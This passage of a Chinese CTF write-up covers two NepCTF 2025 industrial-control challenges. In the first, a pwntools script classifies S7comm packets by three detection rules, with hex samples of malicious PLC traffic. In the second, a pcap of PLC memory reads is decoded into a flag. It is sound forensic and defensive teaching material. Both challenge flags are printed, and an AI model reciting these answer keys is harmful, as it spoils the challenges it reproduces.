55 00 01 03 00 00 21 02 f0 85 32 01 00 00 08 fc 00 10 00 00 29 00 00 00 00 00 09 50 5f 50 52 4f 47 52 41 4d

恶意特征 2:访问未授权内存区域

  • 规则: 报文是一个标准数据包(COTP 参数为 0x80),但其数据载荷中包含了 ASCII 字符串 P_PROGRAM
  • 解释: P_PROGRAM 是西门子 PLC 中一个受保护的系统程序内存区。任何尝试直接读写该区域的通信都属于高危的未授权操作,意图篡改 PLC 的核心逻辑。
  • 恶意报文示例:
1
2
3
# 报文尾部包含了 P_PROGRAM 的ASCII码(505f50524f4752414d)
↓ ↓
82 00 01 03 00 00 21 02 f0 80 32 01 00 00 08 fc 00 10 00 00 29 00 00 00 00 00 09 50 5f 50 52 4f 47 52 41 4d

恶意特征 3:特定长度的畸形短报文

  • 规则: 报文是一个标准数据包(COTP 参数为 0x80),且不含 P_PROGRAM,但其 TPKT 头中声明的总长度恰好为 25 字节 (\x00\x19)。
  • 解释: 这是最隐蔽的规则。在此题的流量中,存在两种看似一样的短 0x80 包。长度为 19 字节的包是正常的 ACK(确认)包,而长度恰好为 25 字节的包是一种恶意构造的、不完整的或用于探测的畸形报文。
  • 恶意报文示例:
1
2
3
# TPKT长度字段 (数据流第6、7字节) 的值是 0x0019 (25)
↓ ↓
95 00 01 03 00 00 19 02 f0 80 32 01 00 00 08 fc 00 08 00 00 1e 01 00 00 00 00 00 01

任何不满足以上三条规则中任意一条的报文,都可以被视为正常。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
#!/usr/bin/env python3
from pwn import *

# --- 配置 ---
HOST = "nepctf30-5qbd-u00j-45hi-9vvqo4prp833.nepctf.com"
PORT = 443
# context.log_level = 'debug'

# --- 规则参数 ---
DB_NUMBER_BYTES = b'\x03\xea' # DB 1002
LONG_PACKET_THRESHOLD = 30 # 用于区分真实数据请求和简短ACK的长度阈值
MALFORMED_SHORT_PACKET_LENGTH = 25 # 我们发现的恶意短包的特定长度

# --- 连接服务器 ---
p = remote(HOST, PORT, ssl=True)

# --- 选择功能1 ---
p.sendlineafter(b'> ', b'1')
log.info("已选择功能1")
p.recvuntil(b'the correct data unit reference should be 2300.\n \n')

try:
for i in range(100):
# 接收并打印服务器提示
prompt_line = p.recvline().decode().strip()
log.info(f"收到提示: {prompt_line}")

# 接收并解析报文
data_line = p.recvline().strip()
try:
raw_bytes = eval(data_line)
except Exception as e:
log.error(f"无法解析报文: {data_line}, 错误: {e}")
break

# 提取关键信息
depth = raw_bytes[0]
cotp_param = raw_bytes[9]
s7_packet = raw_bytes[3:]
tpkt_length = u16(s7_packet[2:4], endian='big')

# --- 判断逻辑 ---
is_malicious = False
reason = "判定为正常 (未命中任何恶意规则)"

# 规则A: 非法功能调用
if cotp_param != 0x80:
is_malicious = True
reason = f"恶意 (规则A): COTP参数为 {hex(cotp_param)} (非0x80)。"

# 规则B: 访问非法区域
elif b'P_PROGRAM' in raw_bytes:
is_malicious = True
reason = f"恶意 (规则B): 报文中包含 'P_PROGRAM' 关键字。"

# 规则C: 畸形的短包
elif tpkt_length == MALFORMED_SHORT_PACKET_LENGTH:
is_malicious = True
reason = f"恶意 (规则C): 发现TPKT长度为 {tpkt_length} 的畸形短包。"

# --- 打印分析过程和结果 ---
print("-" * 60)
log.info(f"正在分析 Packet {i} (depth={depth})")
print(f" - 原始数据 (hex): {raw_bytes.hex()}")
print(f" - TPKT 长度: {tpkt_length}, COTP 参数: {hex(cotp_param)}")

# --- 发送判断并打印 ---
decision = '1' if is_malicious else '0'
if is_malicious:
log.warning(reason)
else:
log.success(reason)

p.sendlineafter(b'/ SIEM > ', decision.encode())
print(f" - 已发送判断: '{decision}'")
print("-" * 60)

log.success("所有100个报文处理完毕")
p.interactive()

except Exception as e:
log.error(f"脚本出现异常: {e}")
finally:
p.close()

NepCTF2025-16

1
NepCTF{5f0aad89-eb5b-57f7-6d1e-7712871cad43}

薯饼的 PLC

Challenge

薯饼在二手市场淘了一个十五年前的全新成色 PLC,他效仿 GeekLogic 在存储区里放了点东西。为了将这份喜悦分享出去,他将 PLC 映射到了互联网上。我们捕捉到了一段他通信时的流量,你能猜出他存了什么嘛?

Solution

唉,赛后做出来了,可惜晚了🥲😭😭😭先贴张提交正确的图

NepCTF2025-17

因为先在群里和薯饼师傅确认过了协议是 s7comm 所以才决定重做这道题

wireshark 没有分析出 s7comm,接下来用 tshark 强制解析

1
tshark -r a.pcap -d tcp.port==11102,tpkt -O s7comm > a.txt

下面是提取出来的 a.txt 的部分内容

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
Frame 12: 103 bytes on wire (824 bits), 103 bytes captured (824 bits)
Linux cooked capture v2
Internet Protocol Version 4, Src: 127.0.0.1, Dst: 127.0.0.1
Transmission Control Protocol, Src Port: 58370, Dst Port: 11102, Seq: 1, Ack: 1, Len: 31
TPKT, Version: 3, Length: 31
ISO 8073/X.224 COTP Connection-Oriented Transport Protocol
S7 Communication
Header: (Job)
Protocol Id: 0x32
ROSCTR: Job (1)
Redundancy Identification (Reserved): 0x0000
Protocol Data Unit Reference: 2300
Parameter length: 14
Data length: 0
Parameter: (Read Var)
Function: Read Var (0x04)
Item count: 1
Item [1]: (DB 1002.DBX 1002.0 BYTE 1)
Variable specification: 0x12
Length of following address specification: 10
Syntax Id: S7ANY (0x10)
Transport size: BYTE (2)
Length: 1
DB number: 1002
Area: Data blocks (DB) (0x84)
Address: 0x001f50
.... .000 0001 1111 0101 0... = Byte Address: 1002
.... .... .... .... .... .000 = Bit Address: 0

发现客户端执行的唯一操作是 Read Var (读取变量),每次请求都只读取一个字节(BYTE 1),结合题目要求很容易想到接下来要做的就是把读取的变量按顺序排列拼接起来

再多翻几条流量发现客户端在循环读取两个主要数据块 DB 1002DB 1003 中的变量,接下来拼接的时候得分开来

用脚本从 a.txt 中提取出所有 S7 通信的请求和响应,并将其保存到 plc_data.csv 文件中方便后续进一步的分析

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
import re
import csv
import os

def extract_s7_data(input_file, output_file):
"""
Parses a Wireshark-like text dump to extract S7 "Read Var" requests
and their corresponding "Ack_Data" responses, then saves them to a CSV file.

Args:
input_file (str): The path to the input text file (e.g., 'b.txt').
output_file (str): The path to the output CSV file.
"""
if not os.path.exists(input_file):
print(f"Error: Input file '{input_file}' not found.")
return

try:
with open(input_file, 'r', encoding='utf-8') as f:
content = f.read()
except Exception as e:
print(f"Error reading file: {e}")
return

# Split the entire text file into individual frame chunks.
# The initial split creates an empty string at the beginning, so we slice it off.
frames_text = re.split(r'\nFrame ', content)
if frames_text:
frames_text[0] = frames_text[0].replace('--- START OF FILE b.txt ---\n\nFrame ', '', 1)

extracted_data = []

# Regex patterns to find request and response frames and their data
request_pattern = re.compile(
r'^(?P<req_frame>\d+):.*?'
r'ROSCTR: Job \(1\).*?'
r'Function: Read Var.*?'
r'Item \[1\]: \((?P<address>DB \d+\.DBX \d+\.\d+ BYTE 1)\)',
re.DOTALL | re.MULTILINE
)

response_pattern = re.compile(
r'^(?P<res_frame>\d+):.*?'
r'ROSCTR: Ack_Data \(3\).*?'
r'Data: (?P<value>\w+)',
re.DOTALL | re.MULTILINE
)

i = 0
while i < len(frames_text):
# Look for a request frame
match_request = request_pattern.search(frames_text[i])

if match_request:
req_frame_num = match_request.group('req_frame')
address = match_request.group('address')

# Search for the *next* response frame
j = i + 1
while j < len(frames_text):
match_response = response_pattern.search(frames_text[j])
if match_response:
res_frame_num = match_response.group('res_frame')
# The value is returned in hexadecimal, convert to decimal integer
value = int(match_response.group('value'), 16)

# Store the complete transaction
extracted_data.append([req_frame_num, address, res_frame_num, value])
break # Found the response, stop searching
j += 1
i += 1

# Write the extracted data to the CSV file
try:
with open(output_file, 'w', newline='', encoding='utf-8') as csvfile:
writer = csv.writer(csvfile)
writer.writerow(['Request Frame', 'Address Read', 'Response Frame', 'Value (Decimal)'])
writer.writerows(extracted_data)
print(f"✅ Successfully extracted {len(extracted_data)} data points to '{output_file}'")
except Exception as e:
print(f"Error writing to CSV file: {e}")

# --- Main execution ---
if __name__ == "__main__":
extract_s7_data('a.txt', 'plc_data.csv')

提取出来的文件长这样:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
Request Frame,Address Read,Response Frame,Value (Decimal)
12,DB 1002.DBX 1002.0 BYTE 1,14,48
16,DB 1002.DBX 1002.1 BYTE 1,17,49
19,DB 1002.DBX 1002.2 BYTE 1,20,48
22,DB 1002.DBX 1002.3 BYTE 1,23,48
25,DB 1003.DBX 1016.3 BYTE 1,26,50
28,DB 1002.DBX 1002.4 BYTE 1,29,49
31,DB 1003.DBX 1016.4 BYTE 1,32,48
34,DB 1002.DBX 1002.5 BYTE 1,35,49
37,DB 1002.DBX 1002.6 BYTE 1,38,49
40,DB 1002.DBX 1002.7 BYTE 1,41,48
43,DB 1003.DBX 1016.7 BYTE 1,44,48
46,DB 1002.DBX 1003.0 BYTE 1,47,48
49,DB 1002.DBX 1003.1 BYTE 1,50,49
52,DB 1002.DBX 1003.2 BYTE 1,53,49
55,DB 1002.DBX 1003.3 BYTE 1,56,48
... ... ... ...

可以发现和前面观察到的结果是一致的,用脚本将数据按 DB 块分开,然后按地址排序,最后将数值转换成字符并拼接起来即可

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
import csv
import re

def solve_plc_puzzle(csv_file_path):
"""
Reads the extracted PLC data from a CSV, sorts it by memory address,
and decodes the hidden ASCII messages.

Args:
csv_file_path (str): The path to the input CSV file.
"""
# Dictionaries to store data, mapping a sortable address tuple to its value
# Format: {(byte_address, bit_address): value}
db_1002_data = {}
db_1003_data = {}

# Regex to parse the address string like "DB 1002.DBX 1002.0 BYTE 1"
address_pattern = re.compile(r'DB (\d+)\.DBX (\d+)\.(\d+)')

try:
with open(csv_file_path, 'r', newline='', encoding='utf-8') as f:
reader = csv.DictReader(f)
for row in reader:
address_str = row['Address Read']
# The CSV has space before the value header, handle it.
value = int(row['Value (Decimal)'])

match = address_pattern.match(address_str)
if not match:
continue

db_num = int(match.group(1))
byte_addr = int(match.group(2))
bit_addr = int(match.group(3))

# Use a tuple of integers for easy and correct sorting
sortable_address = (byte_addr, bit_addr)

if db_num == 1002:
db_1002_data[sortable_address] = value
elif db_num == 1003:
db_1003_data[sortable_address] = value

except FileNotFoundError:
print(f"Error: The file '{csv_file_path}' was not found.")
return
except Exception as e:
print(f"An error occurred: {e}")
return

# Sort the dictionary keys (addresses) to get the correct logical order
sorted_keys_1002 = sorted(db_1002_data.keys())
sorted_keys_1003 = sorted(db_1003_data.keys())

# Convert the sorted values to characters and join them into a string
# We ignore null bytes (value 0) as they are often used as terminators or padding
message_1002 = "".join([chr(db_1002_data[key]) for key in sorted_keys_1002 if db_1002_data[key] != 0])
message_1003 = "".join([chr(db_1003_data[key]) for key in sorted_keys_1003 if db_1003_data[key] != 0])

print("✅ Data processed successfully. Here is the restored content:\n")
print("="*40)
print("🔍 Content from Data Block 1002:")
print("="*40)
print(message_1002)
print("\n")
print("="*40)
print("🔍 Content from Data Block 1003:")
print("="*40)
print(message_1003)
print("\n")


# --- Main execution ---
if __name__ == "__main__":
solve_plc_puzzle('plc_data.csv')

运行结果如下:

1
2
3
4
5
6
7
8
9
10
11
12
✅ Data processed successfully. Here is the restored content:

========================================
🔍 Content from Data Block 1002:
========================================
0100111001100101011100000100001101010100010001100111101100111000001100010110010100110111001101100110011000110001001110000010110101100001001100110011011001100101001011010110011000111001001101000011010100101101001101000110010100110001001110000010110100110010001100100011011101100010001101000011100000111001001110010011001000110011011001000110010101111101


========================================
🔍 Content from Data Block 1003:
========================================
200120011210211010011101010222111102220200220020021112020012020011112121110122000202201100012111120220121122211001

DB 1002 的内容二进制转 ASCII 就能拿到 flag 了(显然 DB 1003 的内容是没用的干扰数据),直接赛博厨子一把梭 From Binary - CyberChef

1
NepCTF{81e76f18-a36e-f945-4e18-227b489923de}